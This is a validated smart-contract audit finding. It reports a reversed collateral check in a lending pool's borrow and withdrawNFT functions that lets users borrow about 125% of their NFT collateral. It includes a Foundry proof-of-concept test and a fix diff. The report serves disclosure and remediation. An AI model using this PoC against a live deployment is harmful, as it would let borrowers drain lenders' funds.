Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Users can borrow more assets than they have deposited as collateral

01. Relevant GitHub Links

02. Summary

The DebtToken::borrow function incorrectly verifies whether the user has sufficient collateral, allowing them to borrow more than expected.

03. Vulnerability Details

There is an issue in the DebtToken::borrow function where it checks if the user has enough collateral.

function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
if (isUnderLiquidation[msg.sender]) revert CannotBorrowUnderLiquidation();
UserData storage user = userData[msg.sender];
uint256 collateralValue = getUserCollateralValue(msg.sender);
if (collateralValue == 0) revert NoCollateral();
// Update reserve state before borrowing
ReserveLibrary.updateReserveState(reserve, rateData);
// Ensure sufficient liquidity is available
_ensureLiquidity(amount);
// Fetch user's total debt after borrowing
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
// Ensure the user has enough collateral to cover the new debt
@> if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
// Update user's scaled debt balance
uint256 scaledAmount = amount.rayDiv(reserve.usageIndex);
...

Because percentMul(liquidationThreshold) is calculated on userTotalDebt, the amount of collateral required for the user to borrow is smaller.

이 문제는 withdrawNFT 함수에서도 나타난다. userDebt을 percentMul(liquidationThreshold)로 계산하기 때문에 사용자가 필요한 담보가 더 적게 계산된다.

/**
* @notice Allows a user to withdraw an NFT
* @param tokenId The token ID of the NFT to withdraw
*/
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender])
revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
// update state
ReserveLibrary.updateReserveState(reserve, rateData);
// Check if withdrawal would leave user undercollateralized
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
if (
collateralValue - nftValue <
@> userDebt.percentMul(liquidationThreshold)
) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}

04. Impact

  • Since users can borrow more value than their collateral, they can repeat the process of buying NFTs and lending externally to take away protocol assets.

05. Proof of Concept

If you run the PoC with the command forge test --mt test_poc_user_can_borrow_more_than_collateralValue, you can see that you have deposited 100e18 nft but can borrow 120e18.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {crvUSDToken} from "src/mocks/core/tokens/crvUSDToken.sol";
import {RAACHousePrices} from "src/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "src/core/tokens/RAACNFT.sol";
import {RToken} from "src/core/tokens/RToken.sol";
import {DebtToken} from "src/core/tokens/DebtToken.sol";
import {LendingPool} from "src/core/pools/LendingPool/LendingPool.sol";
import {ReserveLibrary} from "src/libraries/pools/ReserveLibrary.sol";
contract BaseTest is Test {
crvUSDToken public crvUSDTokenInstance;
RAACHousePrices public raacHousePricesInstance;
RAACNFT public raacNFTInstance;
RToken public rTokenInstance;
DebtToken public debtTokenInstance;
LendingPool public lendingPoolInstance;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address hyuunn = makeAddr("hyuunn");
function setUp() public {
// crvUSDToken deploy
crvUSDTokenInstance = new crvUSDToken(address(this));
// raacHousePrices deploy
raacHousePricesInstance = new RAACHousePrices(address(this));
raacHousePricesInstance.setOracle(address(this));
// raacNFT deploy
raacNFTInstance = new RAACNFT(
address(crvUSDTokenInstance),
address(raacHousePricesInstance),
address(this)
);
_mintRaacNFT();
rTokenInstance = new RToken(
"RToken",
"RTK",
address(this),
address(crvUSDTokenInstance)
);
debtTokenInstance = new DebtToken("DebtToken", "DEBT", address(this));
lendingPoolInstance = new LendingPool(
address(crvUSDTokenInstance),
address(rTokenInstance),
address(debtTokenInstance),
address(raacNFTInstance),
address(raacHousePricesInstance),
0.1e27
);
rTokenInstance.setReservePool(address(lendingPoolInstance));
debtTokenInstance.setReservePool(address(lendingPoolInstance));
}
function _mintRaacNFT() internal {
// housePrices setting
raacHousePricesInstance.setHousePrice(0, 100e18);
raacHousePricesInstance.setHousePrice(1, 50e18);
raacHousePricesInstance.setHousePrice(2, 150e18);
// crvUSDToken mint
deal(address(crvUSDTokenInstance), alice, 1000e18);
deal(address(crvUSDTokenInstance), bob, 1000e18);
deal(address(crvUSDTokenInstance), hyuunn, 1000e18);
// raacNFT mint
vm.startPrank(alice);
crvUSDTokenInstance.approve(address(raacNFTInstance), 100e18 + 1);
raacNFTInstance.mint(0, 100e18 + 1);
vm.stopPrank();
vm.startPrank(bob);
crvUSDTokenInstance.approve(address(raacNFTInstance), 50e18 + 1);
raacNFTInstance.mint(1, 50e18 + 1);
vm.stopPrank();
}
function test_poc_user_can_borrow_more_than_collateralValue() public {
// 1. bob deposit
vm.startPrank(bob);
crvUSDTokenInstance.approve(address(lendingPoolInstance), 500e18);
lendingPoolInstance.deposit(500e18);
vm.stopPrank();
// 2. alice depositNFT 0
// 2. 0 NFTs are worth 100E18
vm.startPrank(alice);
raacNFTInstance.approve(address(lendingPoolInstance), 0);
lendingPoolInstance.depositNFT(0);
assertEq(lendingPoolInstance.getUserCollateralValue(alice), 100e18);
// 3. alice can borrow more than 100e18
lendingPoolInstance.borrow(120e18);
}
}

06. Tools Used

Manual Code Review and Foundry

07. Recommended Mitigation

function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
if (isUnderLiquidation[msg.sender]) revert CannotBorrowUnderLiquidation();
UserData storage user = userData[msg.sender];
uint256 collateralValue = getUserCollateralValue(msg.sender);
if (collateralValue == 0) revert NoCollateral();
// Update reserve state before borrowing
ReserveLibrary.updateReserveState(reserve, rateData);
// Ensure sufficient liquidity is available
_ensureLiquidity(amount);
// Fetch user's total debt after borrowing
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
// Ensure the user has enough collateral to cover the new debt
- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
+ if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}
// Update user's scaled debt balance
uint256 scaledAmount = amount.rayDiv(reserve.usageIndex);
...
/**
* @notice Allows a user to withdraw an NFT
* @param tokenId The token ID of the NFT to withdraw
*/
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender])
revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
// update state
ReserveLibrary.updateReserveState(reserve, rateData);
// Check if withdrawal would leave user undercollateralized
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
if (
- collateralValue - nftValue <
+ (collateralValue - nftValue).percentMul(liquidationThreshold) <
- userDebt.percentMul(liquidationThreshold)
+ userDebt
) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.